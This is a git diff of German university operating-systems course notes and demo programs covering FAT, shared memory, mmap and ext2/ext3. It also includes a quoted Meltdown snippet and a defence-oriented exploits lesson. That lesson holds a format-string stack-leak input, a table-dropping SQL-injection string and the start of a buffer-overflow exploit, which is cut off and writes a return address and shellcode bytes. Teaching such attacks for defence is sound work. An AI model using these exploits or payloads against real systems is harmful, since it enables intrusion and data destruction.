sind die Cluster 0 und 1 belegt. + Daher: 1. Cluster für Dateien = Nr. 0002 + + - Nach den FATs: Stamm- oder Wurzelverzeichnis (root directory) + + Tabelle fester Größe + Jeder Eintrag: + - Dateiname: 11 Bytes, 8 Zeichen für Dateinamen, 3 für "Erweiterung", z.B. "COMMAND.COM" + - Datei-Attribute: 1 Byte, z.B.: + - Lesen/Schreiben + - versteckte Dateien + - "System-Datei" + - "Archiv-Bit" (für Backup-Software) + - Datei ist Unterverzeichnis + - Datei ist Volume-Label (= Name des Datenträgers) + - Datum und Zeit der letzten Änderung + - Speicherung: 5 Bit für Stunde, 6 für MInute, 5 für Sekunde + --> Sekunden mit 2s Auflösung + - ... + - Start-Cluster der Datei + - Länge der Datei in Bytes + + - Problem: Fragmentierung + + Dateien sind als verkettete Listen gespeichert. + + Datei A speichern: + + A + A + A + A + + Datei B speichern: + + A + A + A + A + B + B + B + B + + Datei A löschen: + + - + - + - + - + B + B + B + B + + Datei C speichern: + + C + C + C + C + B + B + B + B + C + C + C + C + + --> Datei C ist fragmentiert. + + Nach längerer Benutzung sind FAT-Datenträger häufig komplett fragmentiert. + --> langsamer + --> Defragmentierung sinnvoll. diff --git a/20210528/fat-1.txt b/20210528/fat-1.txt new file mode 100644 index 0000000000000000000000000000000000000000..46926ac620314b6f1cff1c525ff9cc066ff01793 --- /dev/null +++ b/20210528/fat-1.txt @@ -0,0 +1,59 @@ +cassini/home/peter/bo/2021ss/bs/20210528> for x in $(seq 5); do touch test-$x.txt; sleep 1s; done +cassini/home/peter/bo/2021ss/bs/20210528> ls -lrt +insgesamt 72 +-rw-r--r-- 1 peter peter 51036 Mai 28 12:57 mmu.xcf.gz +-rw-r--r-- 1 peter peter 160 Mai 28 14:05 test-tab.txt +-rw-r--r-- 1 peter peter 6361 Mai 28 14:46 bs-20210528.txt +-rw-r--r-- 1 peter peter 14 Mai 28 14:47 test-1.txt +-rw-r--r-- 1 peter peter 19 Mai 28 14:47 test-2.txt +-rw-r--r-- 1 peter peter 0 Mai 28 14:47 test-3.txt +-rw-r--r-- 1 peter peter 0 Mai 28 14:47 test-4.txt +-rw-r--r-- 1 peter peter 0 Mai 28 14:47 test-5.txt +cassini/home/peter/bo/2021ss/bs/20210528> ls --full-time -lrt +insgesamt 72 +-rw-r--r-- 1 peter peter 51036 2021-05-28 12:57:49.619244900 +0200 mmu.xcf.gz +-rw-r--r-- 1 peter peter 160 2021-05-28 14:05:19.225937663 +0200 test-tab.txt +-rw-r--r-- 1 peter peter 6361 2021-05-28 14:46:19.903177871 +0200 bs-20210528.txt +-rw-r--r-- 1 peter peter 14 2021-05-28 14:47:17.859771765 +0200 test-1.txt +-rw-r--r-- 1 peter peter 19 2021-05-28 14:47:18.863782073 +0200 test-2.txt +-rw-r--r-- 1 peter peter 0 2021-05-28 14:47:19.867792382 +0200 test-3.txt +-rw-r--r-- 1 peter peter 0 2021-05-28 14:47:20.875802732 +0200 test-4.txt +-rw-r--r-- 1 peter peter 0 2021-05-28 14:47:21.883813083 +0200 test-5.txt +cassini/home/peter/bo/2021ss/bs/20210528> mount /media/usb1/ +mount: /media/usb1: wrong fs type, bad option, bad superblock on /dev/sdb1, missing codepage or helper program, or other error. +cassini/home/peter/bo/2021ss/bs/20210528> echo sudo mkdosfs /dev/sdb1 +sudo mkdosfs /dev/sdb1 +cassini/home/peter/bo/2021ss/bs/20210528> sudo mkdosfs /dev/sdb1 +[sudo] Passwort für peter: +mkfs.fat 4.1 (2017-01-24) +cassini/home/peter/bo/2021ss/bs/20210528> mount /media/usb1/ +cassini/home/peter/bo/2021ss/bs/20210528> ls -l /media/usb1/ +insgesamt 0 +cassini/home/peter/bo/2021ss/bs/20210528> cp -pi test-*.txt /media/usb1/ +cassini/home/peter/bo/2021ss/bs/20210528> ls -lrt /media/usb1/ +insgesamt 12 +-rwxr-xr-x 1 peter peter 160 Mai 28 14:05 test-tab.txt +-rwxr-xr-x 1 peter peter 14 Mai 28 14:47 test-1.txt +-rwxr-xr-x 1 peter peter 19 Mai 28 14:47 test-2.txt +-rwxr-xr-x 1 peter peter 0 Mai 28 14:47 test-3.txt +-rwxr-xr-x 1 peter peter 0 Mai 28 14:47 test-4.txt +-rwxr-xr-x 1 peter peter 0 Mai 28 14:47 test-5.txt +cassini/home/peter/bo/2021ss/bs/20210528> ls -lrt --full-time /media/usb1/ +insgesamt 12 +-rwxr-xr-x 1 peter peter 160 2021-05-28 14:05:19.000000000 +0200 test-tab.txt +-rwxr-xr-x 1 peter peter 14 2021-05-28 14:47:17.000000000 +0200 test-1.txt +-rwxr-xr-x 1 peter peter 19 2021-05-28 14:47:18.000000000 +0200 test-2.txt +-rwxr-xr-x 1 peter peter 0 2021-05-28 14:47:19.000000000 +0200 test-3.txt +-rwxr-xr-x 1 peter peter 0 2021-05-28 14:47:20.000000000 +0200 test-4.txt +-rwxr-xr-x 1 peter peter 0 2021-05-28 14:47:21.000000000 +0200 test-5.txt +cassini/home/peter/bo/2021ss/bs/20210528> umount /media/usb1 +cassini/home/peter/bo/2021ss/bs/20210528> mount /media/usb1 +cassini/home/peter/bo/2021ss/bs/20210528> ls -lrt --full-time /media/usb1/ +insgesamt 12 +-rwxr-xr-x 1 peter peter 160 2021-05-28 14:05:18.000000000 +0200 test-tab.txt +-rwxr-xr-x 1 peter peter 14 2021-05-28 14:47:16.000000000 +0200 test-1.txt +-rwxr-xr-x 1 peter peter 0 2021-05-28 14:47:18.000000000 +0200 test-3.txt +-rwxr-xr-x 1 peter peter 19 2021-05-28 14:47:18.000000000 +0200 test-2.txt +-rwxr-xr-x 1 peter peter 0 2021-05-28 14:47:20.000000000 +0200 test-5.txt +-rwxr-xr-x 1 peter peter 0 2021-05-28 14:47:20.000000000 +0200 test-4.txt +cassini/home/peter/bo/2021ss/bs/20210528> diff --git a/20210528/mmu.png b/20210528/mmu.png new file mode 100644 index 0000000000000000000000000000000000000000..caa39cb2e987cff55d5fb25c61d075c745f6c630 Binary files /dev/null and b/20210528/mmu.png differ diff --git a/20210528/mmu.xcf.gz b/20210528/mmu.xcf.gz new file mode 100644 index 0000000000000000000000000000000000000000..9c9f745196c8a87c30a207f39c8588b4dcec85fd Binary files /dev/null and b/20210528/mmu.xcf.gz differ diff --git a/20210528/test-1.txt b/20210528/test-1.txt new file mode 100644 index 0000000000000000000000000000000000000000..af5626b4a114abcb82d63db7c8082c3c4756e51b --- /dev/null +++ b/20210528/test-1.txt @@ -0,0 +1 @@ +Hello, world! diff --git a/20210528/test-2.txt b/20210528/test-2.txt new file mode 100644 index 0000000000000000000000000000000000000000..d7e5cff47f0303c2d892d3e790e00552759b639c --- /dev/null +++ b/20210528/test-2.txt @@ -0,0 +1 @@ +Dies ist ein Test. diff --git a/20210528/test-3.txt b/20210528/test-3.txt new file mode 100644 index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 diff --git a/20210528/test-4.txt b/20210528/test-4.txt new file mode 100644 index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 diff --git a/20210528/test-5.txt b/20210528/test-5.txt new file mode 100644 index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 diff --git a/20210528/test-tab.txt b/20210528/test-tab.txt new file mode 100644 index 0000000000000000000000000000000000000000..e7f7da6021c9b3bc8cd82215516f4f374a25ca7a --- /dev/null +++ b/20210528/test-tab.txt @@ -0,0 +1,8 @@ +Datenträger: USB-Stick +Größe: 4 GB +Inhalt: + + Adresse Länge Datei + 0 14 test-1.txt + 14 28 test-2.txt + ... ... ... diff --git a/20210604/bs-20210604.txt b/20210604/bs-20210604.txt new file mode 100644 index 0000000000000000000000000000000000000000..66c42207450821cc5674a05649657c5cb69b5a16 --- /dev/null +++ b/20210604/bs-20210604.txt @@ -0,0 +1,114 @@ +Ergänzung: Hauptspeicherverwaltung, 04.06.2021, 11:44:33 +======================================================== + +Gemeinsamer Speicherzugriff mehrerer Programme – Shared Memory +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +Ein Programm kann Shared Memory anfordern +und wie eine Datei ansprechen: Name, read(), write(), close() + +Es ist möglich, diese "Datei" in einen Zeiger umzuwandeln. +Ab da kann ich auf den Shared Memory "normal" zugreifen. + +Es ist auch möglich, eine echte Datei in einen Zeiger umzuwandeln. +Ab da kann ich auf die Datei wie auf Speicher zugreifen. +Achtung: Die Datei muß mindestens 1 Byte groß sein. +Es ist nicht möglich, auf diese Weise die Länge der Datei zu ändern, +sondern ich kann dort nur Bytes überschreiben. + +Anwendungen: + + - Shared Memory: Kommunikation zwischen mehreren Programmen + + - Ganz andere Art, mit Dateien umzugehen, z.B.: + Eine Datei, die ein binär abgespeichertes Array enthält, + vom Programm aus als Array ansprechen. + + - Direktes Ansprechen von Speicherzellen über die Gerätedatei /dev/mem + + cassini/home/peter/bo/2021ss/bs/20210604> ls -l /dev/mem + crw-r----- 1 root kmem 1, 1 Apr 6 09:59 /dev/mem + + - Anwendung davon: Ansprechen der GPIOs auf Einplatinen-Computern, + z.B. Olimex oder Raspberry Pi + Nach einem mmap auf die Datei /dev/mem können wir + über einen Zeiger direkt physikalische Speicherzellen ansprechen. + +Literatur: +https://openbook.rheinwerk-verlag.de/linux_unix_programmierung/Kap18B-003.htm + + + Pause bis 13:45 Uhr + ******************* + + +13:17 Uhr: Ich muß *jetzt* zur Autowerkstatt. Für den Fall, daß ich +nicht rechtzeitig zurück bin, schaut Euch bitte schon mal die Seite +https://de.wikipedia.org/wiki/Meltdown_(Sicherheitslücke) an und +versucht, das dortige Beispielprogramm zu verstehen. Bis nachher! + +Die Meltdown-Sicherheitslücke, 04.06.2021, 14:23:55 +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +Sicherheitslücke: Der Prozessor liest mehrere Befehle im Voraus, +bevor er sie ausführt. Dadurch wird es möglich, Speicher ohne +Berechtigung auszulesen. + + ; rcx = kernel address + ; rbx = probe array + retry: + movzx rax, byte [rcx] ; Lädt den Inhalt der auszulesenden Speicherstelle in Register rax. + ; Das führt zu einer Ausnahmebehandlung. + ; Der folgende Code wird nur prozessorintern im Voraus ausgeführt. + shl rax, 12 ; Multipliziert den Inhalt des 64-bit Registers rax mit 4096, + ; so dass es nun eine Seitenadresse enthält, die vom Inhalt der + ; auszulesenden Speicherstelle abhängt. + jz retry ; Beginnt von vorn, wenn das Zero-Flag (und damit hier auch rax) + ; gleich 0 ist (Auch bei [rcx]=0 keine Endlosschleife, da aufgrund + ; der Ausnahmebehandlung die out-of-order Ausführung schließlich + ; abgebrochen wird). + mov rbx, qword [rbx + rax] ; Greift auf eine Speicherstelle auf der Seite zu, deren Index innerhalb + ; des probe arrays rbx in rax steht. Dies lädt eine Seite in den Cache, + ; deren Adresse vom Inhalt der auszulesenden Speicherstelle abhängt. + + Quelle: https://de.wikipedia.org/w/index.php?title=Meltdown_(Sicherheitsl%C3%BCcke)&oldid=210862049 + Autor: siehe https://de.wikipedia.org/w/index.php?title=Meltdown_(Sicherheitsl%C3%BCcke)&action=history + Lizenz: CC BY-SA 3.0 Unported + +Wir lesen eine nicht lesbare Speicherzelle und stürzen ab. +In den danach stehenden Befehlen verwenden wir den (nicht) +gelesenen Wert als Index für ein Array von Speicherseiten, +d.h., 4096-Byte-Blöcken. +Dadurch ordnet der Kernel dieser bislang rein virtuellen +Speicherseite physikalischen Speicher zu. +Wenn ich danach noch einmal auf dieselbe Speicherseite zugreife, +geschieht dies schneller, als wenn sie nicht im Voraus geladen +wäre. Ein zweiter Thread macht das und mißt die Zeit. + +Massenspeicherverwaltung, 04.06.2021, 14:59:19 +============================================== + +In speziellen Fällen können auch größere Blockgrößen sinnvoll sein: + + - wenn das Dateisystem vorwiegend mit eher großen Dateien genutzt wird + + - wenn der Datenträger physikalisch mit einer größeren Blockgröße arbeitet + --> Vermeidung mehrfachen Speicherns auf Flash-Speicher + +Das ext2-Dateisystem, 04.06.2021, 15:05:30 +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +Superblock: globale Informationen über das Dateisystem + +inode (Indexknoten): enthält alle Informationen über eine Datei + bis auf den Dateinamen und die eigentlichen Daten. + feste Größe + +15 Zeiger auf die Daten: + - 12 Zeiger direkt auf Datenblöcke + - 1 Zeiger auf einen Block mit 128 weiteren Zeigern + - 1 Zeiger auf einen Block mit 128 weiteren Zeigern auf jeweils 128 weitere Zeiger + - 1 Zeiger auf einen Block mit 128 weiteren Zeigern auf jeweils 128 weitere Zeiger auf jeweils 128 weitere Zeiger + - Bei sehr kleinen Dateien wird der Inhalt anstelle der Zeiger + direkt im inode gespeichert. + +Verzeichnis = spezielle Datei, repräsentiert durch einen inode + Einträge: Name --> inode + Hard Link = 2 Namen für denselben inode diff --git a/20210604/shm-1a.c b/20210604/shm-1a.c new file mode 100644 index 0000000000000000000000000000000000000000..c404db3bdb22a6b0a0a1e30b47b4b2de0a048f12 --- /dev/null +++ b/20210604/shm-1a.c @@ -0,0 +1,10 @@ +#include <sys/mman.h> +#include <fcntl.h> +#include <unistd.h> + +int main (void) +{ + int shm = shm_open ("test", O_RDWR, 0666); + write (shm, "Hello, world!", 13); + return 0; +} diff --git a/20210604/shm-1b.c b/20210604/shm-1b.c new file mode 100644 index 0000000000000000000000000000000000000000..de7774f79a26406bf5032f8d9a4fa543e35963fe --- /dev/null +++ b/20210604/shm-1b.c @@ -0,0 +1,13 @@ +#include <sys/mman.h> +#include <fcntl.h> +#include <unistd.h> +#include <stdio.h> + +int main (void) +{ + char buffer[42]; + int shm = shm_open ("test", O_RDONLY, 0444); + read (shm, buffer, 42); + printf ("%s\n", buffer); + return 0; +} diff --git a/20210604/shm-1c.c b/20210604/shm-1c.c new file mode 100644 index 0000000000000000000000000000000000000000..ff6363eddfa2b6d26ae5c390f96306702afd60f8 --- /dev/null +++ b/20210604/shm-1c.c @@ -0,0 +1,14 @@ +#include <sys/mman.h> +#include <fcntl.h> +#include <unistd.h> +#include <stdio.h> + +int main (void) +{ + char buffer[42]; + int shm = shm_open ("test", O_RDONLY, 0444); + lseek (shm, 0, SEEK_SET); + read (shm, buffer, 42); + printf ("%s\n", buffer); + return 0; +} diff --git a/20210604/shm-2a.c b/20210604/shm-2a.c new file mode 100644 index 0000000000000000000000000000000000000000..8853ecaed14074e136a764fbdb868d5fe7a4baf3 --- /dev/null +++ b/20210604/shm-2a.c @@ -0,0 +1,11 @@ +#include <sys/mman.h> +#include <fcntl.h> +#include <unistd.h> + +int main (void) +{ + int shm = shm_open ("test", O_CREAT | O_RDWR, 0666); + write (shm, "Hello, world!", 14); + close (shm); + return 0; +} diff --git a/20210604/shm-2b.c b/20210604/shm-2b.c new file mode 100644 index 0000000000000000000000000000000000000000..92ef091a9f00a93ed834071bd425b5b60238c3ee --- /dev/null +++ b/20210604/shm-2b.c @@ -0,0 +1,14 @@ +#include <sys/mman.h> +#include <fcntl.h> +#include <unistd.h> +#include <stdio.h> + +int main (void) +{ + char buffer[42]; + int shm = shm_open ("test", O_RDONLY, 0444); + read (shm, buffer, 42); + close (shm); + printf ("%s\n", buffer); + return 0; +} diff --git a/20210604/shm-3a.c b/20210604/shm-3a.c new file mode 100644 index 0000000000000000000000000000000000000000..b5273ec483618b33585ff78f70f419bdff149950 --- /dev/null +++ b/20210604/shm-3a.c @@ -0,0 +1,14 @@ +#include <sys/mman.h> +#include <fcntl.h> +#include <unistd.h> +#include <stdio.h> + +int main (void) +{ + int file = open ("test.txt", O_CREAT | O_RDWR, 0666); + printf ("file = %d\n", file); + lseek (file, 0, SEEK_SET); + write (file, "Hello, world!", 14); + close (file); + return 0; +} diff --git a/20210604/shm-3b.c b/20210604/shm-3b.c new file mode 100644 index 0000000000000000000000000000000000000000..21f2d5d32d075a33bd94abeb9b69495d58b8c8a5 --- /dev/null +++ b/20210604/shm-3b.c @@ -0,0 +1,15 @@ +#include <sys/mman.h> +#include <fcntl.h> +#include <unistd.h> +#include <stdio.h> + +int main (void) +{ + char buffer[42]; + int file = open ("test.txt", O_RDONLY, 0444); + lseek (file, 0, SEEK_SET); + read (file, buffer, 42); + close (file); + printf ("%s\n", buffer); + return 0; +} diff --git a/20210604/shm-4a.c b/20210604/shm-4a.c new file mode 100644 index 0000000000000000000000000000000000000000..00ddb6790a669f3040dd7439c98c30d01227662d --- /dev/null +++ b/20210604/shm-4a.c @@ -0,0 +1,14 @@ +#include <sys/mman.h> +#include <fcntl.h> +#include <unistd.h> +#include <string.h> + +int main (void) +{ + int shm = shm_open ("test", O_CREAT | O_RDWR, 0666); + char *buffer = mmap (NULL, 42, PROT_READ | PROT_WRITE, MAP_SHARED, shm, 0); + strcpy (buffer, "Hello, world!"); + munmap (buffer, 42); + close (shm); + return 0; +} diff --git a/20210604/shm-4b.c b/20210604/shm-4b.c new file mode 100644 index 0000000000000000000000000000000000000000..34c4b6ae3bebb451979307c61f3cfe66c5477f87 --- /dev/null +++ b/20210604/shm-4b.c @@ -0,0 +1,14 @@ +#include <sys/mman.h> +#include <fcntl.h> +#include <unistd.h> +#include <stdio.h> + +int main (void) +{ + int shm = shm_open ("test", O_RDONLY, 0444); + char *buffer = mmap (NULL, 42, PROT_READ, MAP_SHARED, shm, 0); + printf ("%s\n", buffer); + munmap (buffer, 42); + close (shm); + return 0; +} diff --git a/20210604/shm-5a.c b/20210604/shm-5a.c new file mode 100644 index 0000000000000000000000000000000000000000..8acc3dde82d8d7f7c4fd77714a3f5f65b7aa2b96 --- /dev/null +++ b/20210604/shm-5a.c @@ -0,0 +1,14 @@ +#include <sys/mman.h> +#include <fcntl.h> +#include <unistd.h> +#include <string.h> + +int main (void) +{ + int file = open ("test.txt", O_CREAT | O_RDWR, 0666); + char *buffer = mmap (NULL, 42, PROT_READ | PROT_WRITE, MAP_SHARED, file, 0); + strcpy (buffer, "Hello, world!"); + munmap (buffer, 42); + close (file); + return 0; +} diff --git a/20210604/shm-5b.c b/20210604/shm-5b.c new file mode 100644 index 0000000000000000000000000000000000000000..c31ba9b27a39f587474632b0442cbc33d20206eb --- /dev/null +++ b/20210604/shm-5b.c @@ -0,0 +1,14 @@ +#include <sys/mman.h> +#include <fcntl.h> +#include <unistd.h> +#include <stdio.h> + +int main (void) +{ + int file = open ("test.txt", O_RDONLY, 0444); + char *buffer = mmap (NULL, 42, PROT_READ, MAP_SHARED, file, 0); + printf ("%s\n", buffer); + munmap (buffer, 42); + close (file); + return 0; +} diff --git a/20210604/shm-6.txt b/20210604/shm-6.txt new file mode 100644 index 0000000000000000000000000000000000000000..6a7d035151eb23eeee6ddba83232afe8e9485293 --- /dev/null +++ b/20210604/shm-6.txt @@ -0,0 +1,35 @@ +cassini/home/peter/bo/2021ss/bs/20210604> cat shm-6a.c +#include <stdio.h> +#include <sys/mman.h> +#include <fcntl.h> +#include <unistd.h> +#include <string.h> + +int main (void) +{ + int file = open ("test.txt", O_CREAT | O_RDWR, 0666); + fprintf (stderr, "0\n"); + char *buffer = mmap (NULL, 42, PROT_READ | PROT_WRITE, MAP_SHARED, file, 0); + fprintf (stderr, "1\n"); + strcpy (buffer, "Hello, world!"); + fprintf (stderr, "2\n"); + munmap (buffer, 42); + fprintf (stderr, "3\n"); + close (file); + return 0; +} +cassini/home/peter/bo/2021ss/bs/20210604> ./shm-6a +0 +1 +Bus-Zugriffsfehler +cassini/home/peter/bo/2021ss/bs/20210604> ls -l test.txt +-rw-r--r-- 1 peter peter 0 Jun 4 12:20 test.txt +cassini/home/peter/bo/2021ss/bs/20210604> echo "Dies ist ein Test." > test.txt +cassini/home/peter/bo/2021ss/bs/20210604> ./shm-6a +0 +1 +2 +3 +cassini/home/peter/bo/2021ss/bs/20210604> cat test.txt +Hello, world!est. +cassini/home/peter/bo/2021ss/bs/20210604> diff --git a/20210604/shm-6a.c b/20210604/shm-6a.c new file mode 100644 index 0000000000000000000000000000000000000000..45e883c1f746de42bf8b2cfc0bcebb61e9c862e2 --- /dev/null +++ b/20210604/shm-6a.c @@ -0,0 +1,19 @@ +#include <stdio.h> +#include <sys/mman.h> +#include <fcntl.h> +#include <unistd.h> +#include <string.h> + +int main (void) +{ + int file = open ("test.txt", O_CREAT | O_RDWR, 0666); + fprintf (stderr, "0\n"); + char *buffer = mmap (NULL, 42, PROT_READ | PROT_WRITE, MAP_SHARED, file, 0); + fprintf (stderr, "1\n"); + strcpy (buffer, "Hello, world!"); + fprintf (stderr, "2\n"); + munmap (buffer, 42); + fprintf (stderr, "3\n"); + close (file); + return 0; +} diff --git a/20210604/shm-6c.c b/20210604/shm-6c.c new file mode 100644 index 0000000000000000000000000000000000000000..c4c537612a4d24d1b7bf20bb8c3f53a30c0a3322 --- /dev/null +++ b/20210604/shm-6c.c @@ -0,0 +1,19 @@ +#include <stdio.h> +#include <sys/mman.h> +#include <fcntl.h> +#include <unistd.h> +#include <string.h> + +int main (void) +{ + int file = open ("test.txt", O_CREAT | O_RDWR, 0666); + fprintf (stderr, "0\n"); + char *buffer = mmap (NULL, 42, PROT_READ | PROT_WRITE, MAP_SHARED, file, 0); + fprintf (stderr, "1\n"); + strcpy (buffer, "Dies ist ein weiterer Test."); + fprintf (stderr, "2\n"); + munmap (buffer, 42); + fprintf (stderr, "3\n"); + close (file); + return 0; +} diff --git a/20210604/shm-6c.txt b/20210604/shm-6c.txt new file mode 100644 index 0000000000000000000000000000000000000000..ec7436ced4f38d6a9673af3df5382e64b119ca46 --- /dev/null +++ b/20210604/shm-6c.txt @@ -0,0 +1,36 @@ +#include <stdio.h> +#include <sys/mman.h> +#include <fcntl.h> +#include <unistd.h> +#include <string.h> + +int main (void) +{ + int file = open ("test.txt", O_CREAT | O_RDWR, 0666); + fprintf (stderr, "0\n"); + char *buffer = mmap (NULL, 42, PROT_READ | PROT_WRITE, MAP_SHARED, file, 0); + fprintf (stderr, "1\n"); + strcpy (buffer, "Dies ist ein weiterer Test."); + fprintf (stderr, "2\n"); + munmap (buffer, 42); + fprintf (stderr, "3\n"); + close (file); + return 0; +} +cassini/home/peter/bo/2021ss/bs/20210604> gcc -Wall -O shm-6c.c -o shm-6c -lrt +cassini/home/peter/bo/2021ss/bs/20210604> ls -l test.txt +-rw-r--r-- 1 peter peter 19 Jun 4 12:21 test.txt +cassini/home/peter/bo/2021ss/bs/20210604> ./shm-6c +bs-20210604.txt shm-2a shm-3b shm-5a shm-6c +shm-1a shm-2a.c shm-3b.c shm-5a.c shm-6c.c +shm-1a.c shm-2b shm-4a shm-5b shm-6.txt +shm-1b shm-2b.c shm-4a.c shm-5b.c test.txt +shm-1b.c shm-3a shm-4b shm-6a +shm-1c.c shm-3a.c shm-4b.c shm-6a.c +cassini/home/peter/bo/2021ss/bs/20210604> ./shm-6c +0 +1 +2 +3 +cassini/home/peter/bo/2021ss/bs/20210604> cat test.txt +Dies ist ein weitercassini/home/peter/bo/2021ss/bs/20210604> diff --git a/20210604/shm-6d.txt b/20210604/shm-6d.txt new file mode 100644 index 0000000000000000000000000000000000000000..88b33b2192d4d917dd30c340c55cbc527164099c --- /dev/null +++ b/20210604/shm-6d.txt @@ -0,0 +1,40 @@ +cassini/home/peter/bo/2021ss/bs/20210604> echo -e "x" > test.txt +cassini/home/peter/bo/2021ss/bs/20210604> ls -l test.txt +-rw-r--r-- 1 peter peter 2 Jun 4 12:31 test.txt +cassini/home/peter/bo/2021ss/bs/20210604> cat shm-6c.c +#include <stdio.h> +#include <sys/mman.h> +#include <fcntl.h> +#include <unistd.h> +#include <string.h> + +int main (void) +{ + int file = open ("test.txt", O_CREAT | O_RDWR, 0666); + fprintf (stderr, "0\n"); + char *buffer = mmap (NULL, 42, PROT_READ | PROT_WRITE, MAP_SHARED, file, 0); + fprintf (stderr, "1\n"); + strcpy (buffer, "Dies ist ein weiterer Test."); + fprintf (stderr, "2\n"); + munmap (buffer, 42); + fprintf (stderr, "3\n"); + close (file); + return 0; +} +cassini/home/peter/bo/2021ss/bs/20210604> ./shm-6c +0 +1 +2 +3 +cassini/home/peter/bo/2021ss/bs/20210604> cat test.txt +Dicassini/home/peter/bo/2021ss/bs/20210604> ls -l test.txt +-rw-r--r-- 1 peter peter 2 Jun 4 12:31 test.txt +cassini/home/peter/bo/2021ss/bs/20210604> rm test.txt +cassini/home/peter/bo/2021ss/bs/20210604> touch test.txt +cassini/home/peter/bo/2021ss/bs/20210604> ls -l test.txt +-rw-r--r-- 1 peter peter 0 Jun 4 12:31 test.txt +cassini/home/peter/bo/2021ss/bs/20210604> ./shm-6c +0 +1 +Bus-Zugriffsfehler +cassini/home/peter/bo/2021ss/bs/20210604> diff --git a/20210604/test-hardlink.txt b/20210604/test-hardlink.txt new file mode 100644 index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 diff --git a/20210604/test.txt b/20210604/test.txt new file mode 100644 index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 diff --git a/20210611/bs-20210611.txt b/20210611/bs-20210611.txt new file mode 100644 index 0000000000000000000000000000000000000000..52c65a9fdceb833f3e506e27df90c866e01cbe04 --- /dev/null +++ b/20210611/bs-20210611.txt @@ -0,0 +1,91 @@ +ext3-Dateisystem, 11.06.2021, 11:49:19 +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +Journalling File System: merkt sich, welche Schreiboperationen bereits +abgeschlossen wurden und welche nicht +--> Das Dateisystem ist immer in einem konsistenten Zustand und kann + z.B. bei Stromausfall sofort wiederhergestellt werden. + +Weitere Dateisysteme, 11.06.2021, 11:52:19 +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + - ext4: effizienter im Umgang mit Flash-Speicher + konkret: möglichst selten physikalisch schreiben + - einander überlagernde Dateisysteme, + z.B. nicht-schreibbaren und schreibbaren Datenträger zusammenschalten, + z.B. Docker-Container + +Exploits, 10.05.2019 +~~~~~~~~~~~~~~~~~~~~ +Vorab: + + Dies ist keine Einladung, anderer Leute Systeme anzugreifen. + Derartige Handlungen sind Straftaten. + + Ich erzähle Ihnen dies, damit Sie wissen, + wie Sie sich gegen derartige Angriffe verteidigen können. + + Um es gleich vorwegzunehmen: + Gewöhnen Sie sich von vorneherein an, + sauber und ordentlich zu programmieren. + +Anleitungen für Exploits: +http://www.computersecuritystudent.com/SECURITY_TOOLS/BUFFER_OVERFLOW/WINDOWS_APPS/lesson1/index.html +http://www.thesprawl.org/research/exploit-exercises-protostar-stack/ + +Literatur: +Jon Erickson: Hacking: The Art of Exploitation. +No Starch Press, 2003. ISBN: 1-59327-007-0 + +Anleitung für den GNU-Debugger (gdb): +http://beej.us/guide/bggdb/ + +Formatstring-Angriff: + + printf (user_string) für Exploit nutzen: %016llx + Server, der Passwort auf dem Stack speichert --> server-0.c + + $ ./server-0 + Your name, please: %016llx %016llx %016llx %016llx %016llx %016llx %016llx %016llx + Hello, 00000000004007c7 00007fdb2ced2df0 00000000004007c7 00007fdb2d0f3007 + 20786c6c36313025 6373316870216948 00007fdb2cbd0068 0000007265746570! + ~~~~~~~~~~~~~~~~ ~~~~ + Your password, please: + +SQL Injection: http://xkcd.com/327/ + + insert into students values ('Robert', 'Lenhard', '3b'); + + insert into students values ('Robert'); drop table students; --', 'Lenhard', '3b'); + +Lösung des Problems: Escape-Sequenzen. +Damit ist es möglich, auch ungewöhnliche Zeichen in Strings aufzunehmen. + +Vortrag zum Thema Namensvalidierung: https://media.ccc.de/v/rc3-channels-2020-77-your-name-is-invalid- + +Noch blöder: Java-Browser-Applet enthält Passwörter im Klartext: +http://heise.de/-2812713 + +Buffer Overflow für Exploit nutzen: server-[123].c, exploit-* + +Warum Absturz? Rücksprungadresse wird überschrieben. Blick auf den Stack. +Funktionsaufruf: Register setzen, Funktion anspringen. +Exploit: Rücksprungadresse gezielt überschreiben. +Früher möglich: Programm in den Stack schreiben, dorthin springen. +Heute: Nicht-ausführbarer Stack, Address Space Layout Randomization (ASLR) +Return Oriented Programming erforderlich +genauer: return-to-libc; noch genauer: return-to-plt +Gezielt Winz-Funktionen anspringen, um Register zu setzen, +danach Programm- und Bibliotheksfunktionen anspringen. + +Exploits: aktuelle Sicherheitslücke, 28.12.2016, 13:46:05 +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +Lücke in PHPMailer erlaubt die Ausführung fremden Codes +https://heise.de/-3582072 + +Exploits, 29.06.2020, 15:38:10 +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +Früher möglich: Programm in den Stack schreiben, dorthin springen. +Heute: Nicht-ausführbarer Stack, Address Space Layout Randomization (ASLR) +Return Oriented Programming erforderlich +genauer: return-to-libc; noch genauer: return-to-plt +Gezielt Winz-Funktionen anspringen, um Register zu setzen, +danach Programm- und Bibliotheksfunktionen anspringen. diff --git a/20210611/exploit-1.c b/20210611/exploit-1.c new file mode 100644 index 0000000000000000000000000000000000000000..f967dc10d848a9bcce65a0a23af4642a7ef6ae0f --- /dev/null +++ b/20210611/exploit-1.c @@ -0,0 +1,19 @@ +#include <unistd.h> +#include <stdint.h> + +int main (int argc, char **argv) +{ + uint64_t my_program_address = 0x7fffffffdfa0; + for (int i = 0; i < 0x28; i++) + write (1, "a", 1); // zum Auffüllen, um die Rücksprung-Adresse + write (1, &my_program_address, 8); // überschreiben zu können + write (1, "I 0WN U!", 8); + for (int i = 0; i < 24; i++) + write (1, " ", 1); + write (1, "\x48\x89\xe7", 3); // mov %rsp,%rdi hierhin erfolgt der + write (1, "\xb8\x00\x00\x00\x00", 5); // mov 